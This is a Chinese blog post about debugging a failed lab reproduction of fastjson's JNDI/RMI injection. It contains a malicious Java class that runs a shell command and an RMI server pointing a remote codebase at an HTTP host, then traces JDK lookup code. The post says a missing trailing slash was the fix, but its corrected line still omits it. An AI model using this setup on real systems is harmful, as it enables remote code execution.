目录

前言

恶意类代码:

RMI注册中心以及服务端代码:

问题一:

问题二

调试

问题三

总结


前言

之前分析了fastjson的jdbcRowSetImpl利用链之后当时也是手写了所用的代码并测试,这里面包括rmi注册中心及服务端还有POC代码,在本地测试成功后我在虚拟机中用vulhub启动了一个fastjson漏洞环境进行测试,但是出了问题,记录一下排查问题的过程。

恶意类代码:

public class rmiEvilClass {static {try {Runtime.getRuntime().exec(new String[]{"touch","/txt"});//在根目录创建一个txt文件夹}catch (Exception e){e.printStackTrace();}}}

RMI注册中心以及服务端代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class rmiServer {public static void main(String[] args)throws Exception {String evilClassurl="http://192.168.1.254:8081";Registry registry= LocateRegistry.createRegistry(1099);Reference reference=new Reference("rmiEvilClass","rmiEvilClaaa",evilClassurl);ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);registry.bind("hell",referenceWrapper);}
}

乍一看没什么问题。。。

问题一:

首先是命令没有执行,当时猜测了很多原因网络不通,端口占用,防火墙,但是一一检测都没有问题,后来没办法只好抓包了,打开抓包有很多arp在找192.168.1.1的地址,这个就不管了 not arp过滤掉,然后开始我们的请求,这里没有截图,在wireshark上只看到了我们向fastjson服务所在端口的发送payload的http报文,以及tcp建立和断开连接的报文,并没有rmi报文。

我的rmi服务端都没什么问题为啥没报文,这里在网上也找了一会,但是相关内容不多,很多复现都是直接利用工具创建的rmi服务。

后来我在反过头看JNDI原理解析的时候,突然想起来,我为了方便把恶意的.class文件和.java文件都放在了运行RMI服务端代码的包下面了,http服务也是在这个文件下面启动的,那这样这个文件不就在CLASSPATH里面了吗,就不会远程调用类了。

在本地测试之后果然是这个问题,我只要修改.java文件就能改变执行的命令,通过python启动的http服务也没有请求记录,我把两个文件放到了其他文件中去时我就可以看到请求记录了。

本地测试截图:

但是第二个问题来了:没有请求路径,这说明没有去加载远程恶意类

问题二

没有请求恶意类,又去检查了代码还是感觉没啥问题,为啥不请求恶意类呢?在这里卡了半天在想原因,最后没办法只好调试一遍代码了,之前学jndi注入时也分析过原理了但是没记录下来,这里就当做复习吧。

调试

initialContext.lookup()

  public Object lookup(String name) throws NamingException {return getURLOrDefaultInitCtx(name).lookup(name);}

getURLOrdefaultInitCtx()

获取用来解析字符串名称 name 的上下文。如果 name 名称是一个 url 字符串,则试着定位一个用于该字符串的 url 上下文。如果没有找到这样的上下文,或者 name 不是一个 url 字符串,则返回 getdefaultinitctx()

getURLOrdefaultInitCtx().lookup()

public Object lookup(String var1) throws NamingException {ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//var1:rmi://127.0.0.1/evilContext var3 = (Context)var2.getResolvedObj();Object var4;try {var4 = var3.lookup(var2.getRemainingName());} finally {var3.close();}return var4;}

这里会通过this.getRootURLContext(var1,this,myEnv)获取到rmi注册中心和远程调用的name

然后var3.lookup()就是通过获取到的注册中心来获取远程调用对象

RegistryContext.lookup()

 public Object lookup(Name var1) throws NamingException {if (var1.isEmpty()) {return new RegistryContext(this);} else {Remote var2;try {var2 = this.registry.lookup(var1.get(0));//这时通过注册中心的lookup就可以获取到我们绑定在注册中心的类了} catch (NotBoundException var4) {throw new NameNotFoundException(var1.get(0));} catch (RemoteException var5) {throw (NamingException)wrapRemoteException(var5).fillInStackTrace();}return this.decodeObject(var2, var1.getPrefix(1));}}

接着调用RegistryContext.decodeObject去解析这个类

 private Object decodeObject(Remote var1, Name var2) throws NamingException {try {Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;return NamingManager.getObjectInstance(var3, var2, this, this.environment);
//远程类实现了RemoteReference接口直接return} catch (NamingException var5) {throw var5;} catch (RemoteException var6) {throw (NamingException)wrapRemoteException(var6).fillInStackTrace();} catch (Exception var7) {NamingException var4 = new NamingException();var4.setRootCause(var7);throw var4;}}

NamingManager.getObjectInstance()部分代码

if (ref != null) {String f = ref.getFactoryClassName();if (f != null) {// if reference identifies a factory, use exclusivelyfactory = getObjectFactoryFromReference(ref, f);if (factory != null) {return factory.getObjectInstance(ref, name, nameCtx,environment);}

这里获取了reference实例中的的工厂类名,就是rmiEvilClass,之后获取工厂类,这里还没有请求恶意类。

NamingManager.getObjectFactoryFromReference()

static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)throws IllegalAccessException,InstantiationException,MalformedURLException {Class clas = null;// Try to use current class loadertry {clas = helper.loadClass(factoryName);} catch (ClassNotFoundException e) {// ignore and continue// e.printStackTrace();}// All other exceptions are passed up.// Not in class path; try to use codebaseString codebase;if (clas == null &&(codebase = ref.getFactoryClassLocation()) != null) {try {clas = helper.loadClass(factoryName, codebase);} catch (ClassNotFoundException e) {}}return (clas != null) ? (ObjectFactory) clas.newInstance() : null;}

首先会在本地的CLASSPATH中找之后再 到去远程的地址中去找这里helper是VersionHelper12类

这里lookup是两个重载方法一个在本地查找一个查找远程

 public Class loadClass(String className) throws ClassNotFoundException {return loadClass(className, getContextClassLoader());}
//本地
public Class loadClass(String className, String codebase)throws ClassNotFoundException, MalformedURLException {ClassLoader parent = getContextClassLoader();ClassLoader cl =URLClassLoader.newInstance(getUrlArray(codebase), parent);return loadClass(className, cl);}
//远程Class loadClass(String className, ClassLoader cl)throws ClassNotFoundException {Class<?> cls = Class.forName(className, true, cl);return cls;}
//最终都会调用这个类传入ClassLoader,远程

最后远程加载类

到目前位置都没有什么问题,也使用FactoryURLClassLoader去加载远程工厂类了但是为什么还是没有路径呢?

想了一会,我想cl作为加载类应该会存着远程加载路径,我决定去看一下FactoryURLClassLoader内的数据,这里又去百度看了一下这个FactoryURLClassLoader类里属性及方法的介绍,知道了ucp属性存贮着类和资源的搜索路径。

可以看到这里的路径,我觉得也没什么对啊,反复了调试几次又陷入了沉思。

后来也是灵光一闪,一般调试这些类我都会猜测一些功能是怎么实现的,我在想这个路径应该会拼接上rmiEvilClass.class然后发起请求,这里是不是缺一个”/“?是不是我之前写rmi服务端的代码没有写反斜杠?

一翻看代码果然没有,再去看网上的POC果然别人都有反斜杠,先试一试吧,修改了rmi服务端的代码重启rmi服务端,然后本地测试。

   String evilClassurl="http://192.168.1.254:8081";

成功了!!!!!!!!!!!!!!

虽然这只是因为一个反斜杠没写导致的问题,但当找出问题的根源时感觉真的爽。

问题三

但是测试过程中本地的测试代码报错了。

这个简单就是编译和运行的Java版本不一致,我编译用的本机java8,IEDA的是java7

重新编译并测试:

总结

这次一晚上加一上午的问题排查最终的结果是因为一个反斜杠,收获还是有不少的

Java安全学习笔记--一次对JNDI注入失败的问题排查(手写POC以及rmi)相关推荐

  1. Effective_STL 学习笔记(四十三) 尽量用算法调用代替手写循环

    每一个算法接受至少一对用来指示将被操作对象区间的迭代器,比如,min_element 可以找出此区间中的最小的值,而 accumulate 则对区间内的元素作某种形式的整体求和运算,partition ...

  2. Java分布式应用学习笔记08JMX规范与常用的监控场景

    转自:Java分布式应用学习笔记08JMX规范与常用的监控场景 1.  JMX规范 JMX是"Java管理扩展的"的缩写,它和其他JavaEE类似也是曾经的Sun提出的一种规范(规 ...

  3. Java NIO 学习笔记(三)----Selector

    目录: Java NIO 学习笔记(一)----概述,Channel/Buffer Java NIO 学习笔记(二)----聚集和分散,通道到通道 Java NIO 学习笔记(三)----Select ...

  4. 可能是最全面的 Java G1学习笔记

    转载自 可能是最全面的 Java G1学习笔记 引子 最近遇到很多朋友过来咨询G1调优的问题,我自己去年有专门学过一次G1,但是当时只是看了个皮毛,因此自己也有不少问题.总体来讲,对于G1我有几个疑惑 ...

  5. 深入浅出 Java CMS 学习笔记

    转载自  深入浅出 Java CMS 学习笔记 引子 带着问题去学习一个东西,才会有目标感,我先把一直以来自己对CMS的一些疑惑罗列了下,希望这篇学习笔记能解决掉这些疑惑,希望也能对你有所帮助. 1. ...

  6. Java NIO学习笔记之图解ByteBuffer

    转载自 Java NIO学习笔记之图解ByteBuffer ByteBuffer前前后后看过好几次了,实际使用也用了一些,总觉得条理不够清晰. <程序员的思维修炼>一本书讲过,主动学习,要 ...

  7. 转载:mongoDB java驱动学习笔记

    http://www.blogjava.net/watchzerg/archive/2012/09/22/388346.html mongoDB java驱动学习笔记 指定新mongo实例: Mong ...

  8. 2019年Java Web学习笔记目录

    Java Web学习笔记目录 1.Java Web学习笔记01:动态网站初体验 2.Java Web学习笔记02:在Intellij里创建Web项目 3.Java Web学习笔记03:JSP元素 4. ...

  9. 【Java基础学习笔记】- Day11 - 第四章 引用类型用法总结

    Java基础学习笔记 - Day11 - 第四章 引用类型用法总结 Java基础学习笔记 - Day11 - 第四章 引用类型用法总结 4.1 class作为成员变量 4.2 interface作为成 ...

最新文章

  1. linux ldconfig 与 /etc/ld.so.conf 动态函数库配置
  2. Python爬虫day1.2—Python语法基础
  3. 文件、目录——Linux基本命令(5)
  4. 基于Mint UI和MUI开发VUE项目一之环境搭建和首页的实现
  5. swift项目调用OC库 和OC项目 在swift文件里面全局调用OC库
  6. 【我看Spring】从一个简单的AOP示例看切面编程
  7. 高质量技术文章哪里看?数据人必看的优质公众号
  8. ajax跨域post请求的java代理实现
  9. 应用SqlParameter防止注入式攻击,打开主窗体关闭登录窗体
  10. c# 小写金额转大写
  11. matlab 中曲线颜色,matlab曲线颜色样式设置
  12. matlab中uigetfile命令的应用
  13. 数据处理之缺失值处理
  14. unity 图文混排方案
  15. Metasploit 渗透测试之制作隐藏后门
  16. Oracle基本命令符
  17. javaweb JSP JAVA 电影院在线订票系统(电影购票系统 电影售票 电影票预订系统)
  18. 前端遇到的那些技术难点
  19. 【基础篇】C#基础知识——面向对象
  20. mysql timestamp 比较_解析mysql TIMESTAMP(时间戳)和datetime不同之处比较

热门文章

  1. python爬虫在线测试_Python爬虫的初步测试:在B站评论区爬虫,python,初试,取
  2. 图数据库------NEO4JWin10下的安装以及问题
  3. 计算机网络基础教案清华,信息技术四年级下册清华教案
  4. 计算机操作工中级理论,计算机操作员中级理论知识复习题及答案.doc
  5. 联发科4G安卓工控触摸主板
  6. 含有铍青铜的高强度合金钢
  7. 打麻将软件测试自学,测试今日麻将运势如何提高你的打麻将运气
  8. 如何高速下载百度网盘文件?—第一篇—使用Aria2
  9. 文章标题div id=article_content class=article_content tracking-ad data-mod=popu_307 data-dsm=post
  10. Vivado使用VSCode编辑器的各种配置:功能加持